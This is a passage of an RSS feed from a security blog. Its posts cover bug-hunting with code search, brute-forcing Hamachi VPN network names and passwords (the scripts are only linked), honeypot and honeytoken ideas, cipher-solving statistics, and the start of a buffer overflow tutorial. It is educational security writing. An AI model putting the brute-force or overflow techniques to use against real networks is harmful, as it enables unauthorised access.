		<description><![CDATA[Note: Auto Bugle is a discontinued project This article is kept just for reference. I will try to package the source code and give it as a download at some point. Some time ago I start creating a list of google queries (Bugle) people could use to hunt bugs in source code available in the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=61&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong><br />
Note: Auto Bugle is a discontinued project<br />
</strong><br />
<em> </em></p>
<p><em> </em></p>
<blockquote><p>This article is kept just for <strong>reference</strong>. I will try to package the source code and give it as a download at some point.</p></blockquote>
<hr />Some time ago I start creating a list of google queries (Bugle) people could use to hunt bugs in source code available in the web. The project started before Google Code Search, so the only way to point to source code was using the Filetype and <span style="text-decoration:underline;">? * .</span> operators which worked pretty well. After a couple  of months Google announced the Code Search service and the accompanied API which made things much more interesting. Using the new Google service people  can supply full regular expression when searching and pinpoint to Bugs a bit more accurately.</p>
<p>Anyway, to cut a long story short, utilising <a title="jQuery" href="http://jquery.com/">jQuery</a>, <a title="Google Code Search API" href="http://code.google.com/apis/codesearch/">Google Code Search API</a> and <a title="Bugle" href="http://www.cipher.org.uk/bugle/">Bugle</a>, I created an <span style="text-decoration:line-through;"><span style="color:#0000ff;">automated version</span></span> of the Bugle project which  looks as close as possible to a desktop based source code review tool.</p>
<p><img class="alignnone size-full wp-image-370" title="bugleautosnapshot1" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautosnapshot1.png?w=720" alt="bugleautosnapshot1"   /><br />
To demonstrate Bugle Automated I will be looking for bugs in Samba. The first step is to add the package you want to inspect in the Scan field, as you can see below there is Auto Complete functionality available suggesting possible packages while you type a name.</p>
<p><img class="alignnone size-full wp-image-371" title="bugleautostep1" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep1.png?w=720" alt="bugleautostep1"   /></p>
<p>After choosing a package, press scan an Bugle will do the rest.</p>
<p>The first screen you see is a bit empty , both the Main Panel and the Stats Panel will load as soon as you choose a vulnerability category from the left side. Bugle displays the number of issues of each category, so you can immediately get an general idea on where you might find a bug.</p>
<p><img class="alignnone size-medium wp-image-372" title="bugleautostep2" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep2.png?w=233&#038;h=300" alt="bugleautostep2" width="233" height="300" /></p>
<p>As soon as you choose a category a sub menu will be revealed, presenting all the different signatures in that category. At the same time the statistics Panel will load and all the relevant graphs for the project/categories and categories/signatures will be displayed.</p>
<p><img class="alignnone size-medium wp-image-373" title="bugleautostep6" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep6.png?w=300&#038;h=145" alt="bugleautostep6" width="300" height="145" /></p>
<p>Next we choose the Buffer Overflows category, with 205 hits and then the Generic BoF signature (with 50 hits). The Main Panel loads and then we can see each individual line with a possible bug. We scroll down until we find something that could be a vulnerability and click on that line.<br />
<img class="alignnone size-medium wp-image-374" title="bugleautostep4" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep4.png?w=300&#038;h=136" alt="bugleautostep4" width="300" height="136" /><br />
We click the Line 117 of samba-1.9.15p8.mvs/source/sockspy.c and we inspect the code in the Code Snippet dialog. Then we scroll down until we find the  line with the yellow highlighted text<br />
<img class="alignnone size-medium wp-image-375" title="bugleautostep5" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep5.png?w=300&#038;h=284" alt="bugleautostep5" width="300" height="284" /></p>
<p>We can see that   strcpy(DestHost,argv[1]);  is copying the arv[1] into the DestHost buffer which has 256 chars size. Now we can guess that if we pass in the command line DestHost larger than 256 chars we can create a buffer overflow condition. (Note that this bug in sockspy.c is in a very very very old version of Samba)</p>
<p>That&#8217;s <span style="color:#0000ff;"><span style="text-decoration:line-through;">Bugle Auto Scanner</span></span>, hopefully this will assist in discovering and fixing bugs out there.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/61/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/61/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/61/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=61&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautosnapshot1.png" medium="image">
			<media:title type="html">bugleautosnapshot1</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep1.png" medium="image">
			<media:title type="html">bugleautostep1</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep2.png?w=233" medium="image">
			<media:title type="html">bugleautostep2</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep6.png?w=300" medium="image">
			<media:title type="html">bugleautostep6</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep4.png?w=300" medium="image">
			<media:title type="html">bugleautostep4</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep5.png?w=300" medium="image">
			<media:title type="html">bugleautostep5</media:title>
		</media:content>
	</item>
		<item>
		<title>Hamachi Considerations</title>
		<link>http://cipher.org.uk/2006/11/03/hamachi-considerations/</link>
		<comments>http://cipher.org.uk/2006/11/03/hamachi-considerations/#comments</comments>
		<pubDate>Fri, 03 Nov 2006 17:31:58 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Bugs]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[vpn]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2008/01/27/hamachi-considerations/</guid>
		<description><![CDATA[&#8220;Hamachi is a zero-configuration virtual private networking (VPN) application.&#8221;I was introduced to Hamachi last week, and I thought wow that sounds cool and easy. So I installed both windows and linux versions and start messing around. while I was using different networks, I noticed that if you start typing random network names the system sents [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=8&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-333" title="hamachi_logo" src="http://cipherdotorgdotuk.files.wordpress.com/2006/11/hamachi_logo.jpg?w=720" alt="hamachi_logo"   /> <em>&#8220;Hamachi is a zero-configuration virtual private networking (VPN) application.&#8221;</em>I was introduced to <a href="http://www.hamachi.cc/">Hamachi</a> last week, and I thought wow that sounds cool and easy. So I installed both windows and linux versions and start messing around. while I was using different networks, I noticed that if you start  typing random network names the system sents back an obvious message saying if a network exists or not. I found that inappropriate, to illustrate an obvious use of that  I wrote a tiny perl script to detect different networks using the rather expected brute  force approach.</p>
<p><img class="alignnone size-full wp-image-334" title="detect-hamachi" src="http://cipherdotorgdotuk.files.wordpress.com/2006/11/detect-hamachi.jpg?w=720" alt="detect-hamachi"   /></p>
<pre>Detect Networks script <a href="http://downloads.cipher.org.uk/hamachiscripts.zip">Detect-hamachi.pl</a></pre>
<p>After that the next step was to see if the system returns a distinctive error if the network picked is correct but the password supplied is wrong. Again that proved to be the case, so the next step was to check on the network I created if there is any account lockout or IP blocking if I submit the wrong password several times. I send the wrong password 10 times and the account was still active. When considering the fact that someone creates a VPN to establish a secure tunnel between private assets this can be considered as an immediate security threat.</p>
<p>At this stage I modified the previous tiny script to go through a list of passwords given a valid  network name and the result was predictebale, found the valid password and join the network.</p>
<p><img class="alignnone size-full wp-image-335" title="beef-hamachi" src="http://cipherdotorgdotuk.files.wordpress.com/2006/11/beef-hamachi.jpg?w=720" alt="beef-hamachi"   /></p>
<pre>Find valid Hamachi passwords script <a href="http://downloads.cipher.org.uk/hamachiscripts.zip">beef-hamachi.pl</a></pre>
<p>A fast solution to the issue described is to &#8220;Block new network members by default&#8221;, there is an  option in the Security tab to do that.</p>
<p>All of the above are very simple observations, nothing on the protocol or implementation as such (also as far as I am concerned the project is closed source at the moment). Haven&#8217;t used it that much so if you see something wrong in here let <a href="http://www.cipher.org.uk/write/">me</a> know.</p>
<p>These scripts work only in linux and you need to have perl and hamachi installed.  Have a look at http://files.hamachi.cc/linux/README on how to install in linux , note in Debian  you need to create the /dev/net/tun device to make it work.</p>
<pre>mkdir /dev/net/tun
mknod /dev/net/tun c 10 200</pre>
<p>Note: The provided scripts are only for illustration purpose, use them only on networks you own.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/8/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/8/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/8/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=8&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2006/11/03/hamachi-considerations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2006/11/hamachi_logo.jpg" medium="image">
			<media:title type="html">hamachi_logo</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2006/11/detect-hamachi.jpg" medium="image">
			<media:title type="html">detect-hamachi</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2006/11/beef-hamachi.jpg" medium="image">
			<media:title type="html">beef-hamachi</media:title>
		</media:content>
	</item>
		<item>
		<title>Applied Honeypots</title>
		<link>http://cipher.org.uk/2005/12/12/applied-honeypots/</link>
		<comments>http://cipher.org.uk/2005/12/12/applied-honeypots/#comments</comments>
		<pubDate>Mon, 12 Dec 2005 17:40:15 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[honeypots]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2005/12/12/applied-honeypots/</guid>
		<description><![CDATA[Track Big Brother using Honeypots Although a honeypot&#8217;s main application is to create attractive traps for hackers, there is a good opportunity for hackers to track governmental or other information gathering agents using the same method. A scenario like that would be a really big breakthrough into the world of secrecy, since top secret tools [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=11&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Track Big Brother using Honeypots</strong><br />
Although a honeypot&#8217;s main application is to create attractive traps for hackers, there is a good opportunity for hackers to track governmental or other information gathering agents using the same method. A scenario like that would be a really big breakthrough into the world of secrecy, since top secret tools and techniques will be revealed to the public. Can you imagine how difficult will be to make an investigation if the agent who is doing it is not sure if the system he is &#8216;logged&#8217; is a honeypot or not? It is almost sure that someone who will be able to track a government agent searching into his data will be able to go to the court and have evidence of this intrusion into his system. The legal issues of something like that will be rough to solve. The main steps of achieving an entrapment of an agent into a honeypot are two and commonly used by governments and organisations to catch hackers. A hacker can use the same plan the &#8216;enemy&#8217; uses.</p>
<p><code><br />
Reputation<br />
Content<br />
</code></p>
<p>Both of these steps are not difficult to achieve. Reputation: make some public noise about a particular illegal service you provide through your system so an agent will notice it (public noise is not difficult these days, especially via the web).</p>
<p>Content: create some fake &#8216;illegality&#8217; in your system so it can convince an observer.At this point government knows about the service you provide but since there is not any evidence about you they need to make some analysis of your system/data using forensic techniques, which most likely will be launched remotely. Note that they (government) want to see your system work in real-time so they won&#8217;t stop it. Now that the hacker expects to be under investigation the only thing that he has to do is, sit back and watch. The honeypot is been used against government so we can expect it to give us some really interesting feedback. Most likely we would see exploits that haven&#8217;t yet published, tools that are in total secrecy, and we might see some techniques to detect the existence of a honeypot.</p>
<p>As we can see, honeypots are tools which can provide good analysis of a particular attack, but we must remember that every publicly available tool can be used by all the people, so the question created is, honeypots help investigators or hackers? The power that a hacker can gain using the previous technique can make him/her almost untouchable; no one would want to hack into his/her system to do investigation since the only thing that they will achieve is to give more knowledge &#8216;out&#8217;.</p>
<h3>Honeypots &amp; Worms</h3>
<p>Worms are small entities, which spread &#8216;around&#8217; using well-known vulnerabilities, with a main purpose to intrude inside a system and be able to attack from that host others and spread [http://www.securityfocus.com/infocus/1740]. Worms can &#8216;Damage&#8217; or do &#8216;Good&#8217;, depended the way you use them. Mostly written by computer hackers and researchers, although many times antivirus companies create them for the obvious reason to make money. In order to find out how a honeypot will be useful against a worm, we need to know the most known characteristic of a network reaction during an attack. When a worm is lunched we can observe aggressive flow of traffic and bandwidth reduction. The first hint that a worm is &#8216;around&#8217; is observed, now we can watch for a specific steps usually a known worm does, for example, if we have an attempt on port 135 of our system and the particular packet is giving known signatures of MSBlast we can be sure what is going on and send the worm to a controlled honeypot or honeynet to observe how this worm works and at the same time secure our network from the attack.</p>
<p>The previous example is known as a defender honeypot and is based on gateway, which is acting once as a firewall and then as IDS. We have content analysis, traffic analysis, and source code analysis and port alarms. It is obvious from what we saw above that a system like that can work in case a worm is known and predictable, which in most cases will work, but during the attack of a new and unknown worm a honeypot might do damage instead, and send the worm inside our secure network. This confusion can be caused also from worms which are using encryption and/or polymorphism so it is really difficult for a honeypot to be sure if there is a worm attack or just e.g. a network problem. In a situation like that it is better to use a scheme called Sacrificial Lamb. We have to sacrifice a system in our network and leave the worm infect it. In this system we had previously created virtual hosts (using honeyd for example) in a very simple &#8216;topology &#8216; and big in number, so we could simulate 10.000 hosts, and see how the worm is moving inside that virtual network. 10.000 hosts is probably a good number to identify all the possible signatures of the worm and be able to update our honeypot-gateway/anti virus/firewall or IDS.</p>
<h3>Catch information thieves using honeytokens</h3>
<p>Some times the concept of honeypot needs to be applied to a specific information or collection of information instead of a system. In order to make this statement more clearly we can use a real life example [http://lwn.net/Articles/40925]. Lets say that you want to check if a service you are using in the internet is selling your personal information to a third party or spammers. The only way to do that is to give them some fault information and be able to confirm them.</p>
<p>An easy way to do that is, by having a different email address for every registering you are doing to different services. First you need to have your own domain name in order to do it easier, then enable email forwarding, so every email address you create under you domain name will send the emails to your main email address.</p>
<p>Let say that we want to open a user account with Amazon.com, during the registration process amazon will ask for a valid email address, this is where we will put our honeytoken , instead of using our main email address we put in this field : amazon.com@mydomain.com.</p>
<p>Now every time we receive an email, which is having as recipient amazon.com@mydomain.com we know that the information came out of amazon.</p>
<p>Another example is the Management&#8217;s emails. In this scenario we need to know if someone is trying to have access to a company&#8217;s high confidential information, which for example can be transferred via email. In order to achieve that we do the following: We create an email, which is having fake information about a server we are having online and this server is full of top-secret data.</p>
<pre>
For example:

Dear manager ,

These are the informations about the company's
private server :
Server : TopSecret.company.com
Username : Manager1
Password : Password1

Regards ISDepartment</pre>
<p>This email is a real trap, we are sure that if someone will login into the system TopSecret.company.com will be an attacker. Then we can track him/her down easily. As we can see from the previous examples, honeytokens can be really helpful, although this technique is not new, especially in information intelligence world.</p>
<h3>Track Spammers with honeypots</h3>
<p>One of the biggest problems created using the fundamental tools of web is spamming. It is difficult to catch a spammer since the mailing system itself is not secure enough. Spammers usually use &#8216;open&#8217; (open relay) mail servers in order to do their attack. Although it is well known problem, many companies and ISPs don&#8217;t take any countermeasures to avoid a usage of their servers as a spam tool because they mostly don&#8217;t know that is happening, until it is very late and they get blacklisted.</p>
<p>We mentioned earlier Open Relay, this is an option in mail servers, which lets anyone in the Internet use your mail server and deliver emails. Although this service at the beginning of the Internet revolution had a reason of existence, now it seems like the good tool for spammers to deliver their &#8216;goods&#8217; [http://www.honeypots.net]. The main technique of spammers is to do an IP scanning combined with Service scanners in order to identify any mail servers for a given IP range. The next step is to check the found servers for an Open relay service; the usual way of doing the check is by sending an email to your self, using the server under &#8216;analysis&#8217;. The formal name for these tests is known as Relay Test message [http://www.tracking-hackers.com/solutions/sendmail.html].</p>
<p>Since we know the way that spammers work, we can place a honeypot and make it work as a Relay mail server, when the attacker will find that server, he will send the Relay Test message, now the honeypot knows that there is something wrong, but it will keep work as relay server and will return the relay test message. Now the spammer is sure that the server is open and he will try to lunch spamming attack. Our honeypot will be programmed to pretend that it sends all the emails the spammer delivers, in the meantime we will be able to do a research in the spammers Identity, for example find his IP, Location and ISP. Even if the attacker uses a proxy to do the work, we can track the proxy servers and inform the administrators about the misuse of their system.</p>
<p>This is a general idea on how we can use honeypots against spammers, more practical details on how to do that visit: http://fightrelayspam.homestead.com/files/antispam06132002.htm</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/11/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/11/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/11/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=11&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2005/12/12/applied-honeypots/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>Cryptanalysis Tools</title>
		<link>http://cipher.org.uk/2003/11/03/cryptanalysis-tools/</link>
		<comments>http://cipher.org.uk/2003/11/03/cryptanalysis-tools/#comments</comments>
		<pubDate>Mon, 03 Nov 2003 21:40:15 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[cryptanalysis]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2003/11/03/cryptanalysis-tools/</guid>
		<description><![CDATA[This text intent to help you solve only simple monoalphabetic or polyalphabetic ciphers by giving you the resources you might need . To my opinion the first thing you should have is a good tool to help you calculate statistics in the ciphertext , therefore I recommend you : Crank(linux,windows) and CAP(windows) CAP is more [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=13&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This text intent to help you solve only simple monoalphabetic or  polyalphabetic ciphers by giving you the resources you might need .</p>
<p>To my opinion the first thing you should have is a good tool to help you calculate statistics in the ciphertext , therefore I recommend you :  <a href="http://crank.sourceforge.net/">Crank</a>(linux,windows) and  <a href="http://www.cryptool.com/">CAP</a>(windows)<br />
CAP is more sophisticated , but crank is good as well.</p>
<p>Then you need to have a dictionary with many different word lengths ,  so you can guess words easier ,the best I&#8217;ve found with a categorisation like that is : <a href="http://aaron.doosh.net/lexicon/">Wordox Lexikon</a><br />
To know Letter frequencies in the language your ciphertext is written is very helpfull and is a must.<br />
<em>Note : if you have statistics for other languages please let me know</em></p>
<p>The following knowledge is been obtained for english language :</p>
<p>Letter frequencies starting from the most frequent :<br />
<strong>e ,t ,s ,d ,n ,r ,y</strong><br />
The most common digrams starting from the most frequent :<br />
<strong>th ,he ,at ,st ,an ,in ,ea ,nd ,er ,en ,re ,nt ,to ,es ,on ,ed ,is ,ti</strong><br />
The most common Trigraphs starting from the most frequent :<br />
<strong>the ,and ,tha ,hat ,ent ,ion ,for ,tio ,has ,edt ,tis ,ers ,res ,ter ,con<br />
,ing ,men ,tho</strong><br />
The most common Doubles starting from the most frequent :<br />
<strong>ll ,tt ,ss ,ee ,pp ,oo ,rr ,ff cc ,dd ,nn</strong><br />
The most common words starting from the most frequent :<br />
<strong>the ,of ,are ,I ,and ,you ,a ,can ,to ,he ,her ,that ,in ,was ,is ,has<br />
,it ,him ,his</strong></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/13/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/13/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/13/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=13&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2003/11/03/cryptanalysis-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>Buffer Overflows Tutorial</title>
		<link>http://cipher.org.uk/2003/08/12/buffer-overflows-tutorial/</link>
		<comments>http://cipher.org.uk/2003/08/12/buffer-overflows-tutorial/#comments</comments>
		<pubDate>Tue, 12 Aug 2003 20:37:53 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Buffer Overflow]]></category>
		<category><![CDATA[Bugs]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2003/08/12/buffer-overflows-tutorial/</guid>
		<description><![CDATA[If you are into IT Security/Hacking or whatever you call it, you probably came across BOF or Buffer Overflows. In this article I will try to explain you the basic idea behind it . I am not going into great detail since there are plenty of texts out there doing that, I will just describe [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=12&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>If you are into IT Security/Hacking or whatever you call it, you probably came across BOF or Buffer Overflows.</p>
<p>In this article I will try to explain you the basic idea behind it . I am not going into great detail since there are plenty of texts out there doing that, I will just describe how this kind of bug works with a small example.</p>
<p><em><span style="color:#888888;">Note : At the end of this article you will find plenty of texts describing this technique in detail using examples</span></em></p>
<p>Every executable file, after we trigger it to run, is going to use some memory. (Remember that) Some memory segments used to store data some other instructions and some other memory pointers.</p>
<p>Imagine the following :</p>
<p>we do : ./tool</p>
<p>next we get that :</p>
<p><code>Memory for this tool Starts --------------&gt; 0x8048448<br />
BLABLA<br />
0x8048451 call 0x8048440 &lt;f&gt;<br />
BLABLA<br />
BLABLA<br />
Memory for this tool Ends   --------------&gt; 0x804845a</code></p>
<p>As you can see there is a Start and End for every execution , we will pay attention in between , where &#8220;tool&#8221; is calling some function. If we could change the 0&#215;8048440 to an address we have load our code we could run anything we wanted during the execution of our application.</p>
<p>So , in order to change that address we need to overflow a buffer inside the &#8220;tool&#8221; . If we overflow it we can point it to our code somewhere else in the memory.</p>
<p>First of all, we need to find when &#8220;tool&#8221; overflows and cannot accept more data.</p>
<p>Lets imagine that there is a buffer in &#8220;tool&#8221; : <code> char data[10]; </code>used during the<br />
execution procedure.</p>
<p>Easy to imagine what we need to do to overflow that buffer right ?</p>
<p>1) Create an enviroment :  export BUFFER=`perl -e &#8216;{print &#8220;A&#8221;x&#8221;20&#8243;}&#8217;`</p>
<p><code>print "A"x"20" // This prints out the buffer we want to create</code></p>
<p><code> </code></p>
